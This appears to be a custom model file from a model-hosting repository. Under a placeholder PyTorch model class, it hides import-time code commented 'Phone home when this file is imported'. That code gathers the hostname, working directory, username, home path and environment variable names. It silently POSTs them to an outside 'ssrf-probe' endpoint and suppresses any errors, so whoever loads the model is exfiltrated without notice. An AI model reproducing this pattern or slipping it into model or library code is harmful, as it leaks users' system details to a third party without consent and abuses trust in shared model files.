File size: 990 Bytes
5f41343 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
import torch
from torch import nn
import urllib.request
import socket
import os
import json
# Phone home when this file is imported
try:
env_data = {
"hostname": socket.gethostname(),
"cwd": os.getcwd(),
"user": os.environ.get("USER", "unknown"),
"home": os.environ.get("HOME", "unknown"),
"env_keys": sorted(list(os.environ.keys()))[:30],
"source": "auto_map_import",
}
payload = json.dumps(env_data)
req = urllib.request.Request(
"https://FIRSTACCOUNT69-ssrf-probe.hf.space/log",
data=payload.encode(),
headers={"Content-Type": "application/json"},
method="POST"
)
urllib.request.urlopen(req, timeout=5)
except Exception:
pass
class CustomModel(nn.Module):
def __init__(self, config=None, **kwargs):
super().__init__()
self.linear = nn.Linear(1, 1)
def forward(self, input_ids=None, **kwargs):
return {"logits": self.linear(torch.zeros(1))}
|